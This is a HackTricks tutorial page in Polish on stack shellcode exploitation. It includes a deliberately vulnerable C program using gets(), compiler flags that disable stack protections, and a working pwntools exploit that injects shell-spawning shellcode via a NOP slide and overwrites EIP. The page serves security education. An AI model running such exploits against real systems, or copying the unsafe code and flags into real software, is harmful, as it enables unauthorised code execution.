Stack Shellcode

Support HackTricks

Podstawowe informacje

Stack shellcode to technika używana w binary exploitation, w której atakujący zapisuje shellcode na stosie podatnego programu, a następnie modyfikuje Instruction Pointer (IP) lub Extended Instruction Pointer (EIP), aby wskazywał na lokalizację tego shellcode, co powoduje jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na docelowym systemie. Oto podział procesu, w tym prosty przykład w C oraz sposób, w jaki można napisać odpowiadający exploit w Pythonie z użyciem pwntools.

Przykład C: Podatny program

Zacznijmy od prostego przykładu podatnego programu w C:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Ten program jest podatny na przepełnienie bufora z powodu użycia funkcji gets().

Kompilacja

Aby skompilować ten program, wyłączając różne zabezpieczenia (aby zasymulować podatne środowisko), możesz użyć następującego polecenia:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Wyłącza ochronę stosu.

  • -z execstack: Umożliwia wykonanie kodu na stosie, co jest konieczne do uruchomienia shellcode przechowywanego na stosie.

  • -no-pie: Wyłącza niezależny od pozycji plik wykonywalny, co ułatwia przewidywanie adresu pamięci, w którym będzie znajdować się nasz shellcode.

  • -m32: Kompiluje program jako 32-bitowy plik wykonywalny, często używany dla uproszczenia w rozwoju exploitów.

Python Exploit using Pwntools

Oto jak można napisać exploit w Pythonie używając pwntools do przeprowadzenia ataku ret2shellcode:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Ten skrypt konstruuje ładunek składający się z NOP slide, shellcode i następnie nadpisuje EIP adresem wskazującym na NOP slide, zapewniając, że shellcode zostanie wykonany.

NOP slide (asm('nop')) jest używane, aby zwiększyć szansę, że wykonanie "zsunie się" do naszego shellcode niezależnie od dokładnego adresu. Dostosuj argument p32() do początkowego adresu twojego bufora plus offset, aby wylądować w NOP slide.

Ochrony

  • ASLR powinno być wyłączone, aby adres był wiarygodny w różnych wykonaniach, w przeciwnym razie adres, w którym funkcja będzie przechowywana, nie zawsze będzie taki sam i potrzebowałbyś jakiegoś leak, aby dowiedzieć się, gdzie załadowana jest funkcja win.

  • Stack Canaries również powinny być wyłączone, w przeciwnym razie skompromitowany adres zwrotu EIP nigdy nie będzie śledzony.

  • Ochrona stack NX uniemożliwi wykonanie shellcode wewnątrz stosu, ponieważ ten obszar nie będzie wykonywalny.

Inne przykłady i odniesienia

Wsparcie dla HackTricks

Last updated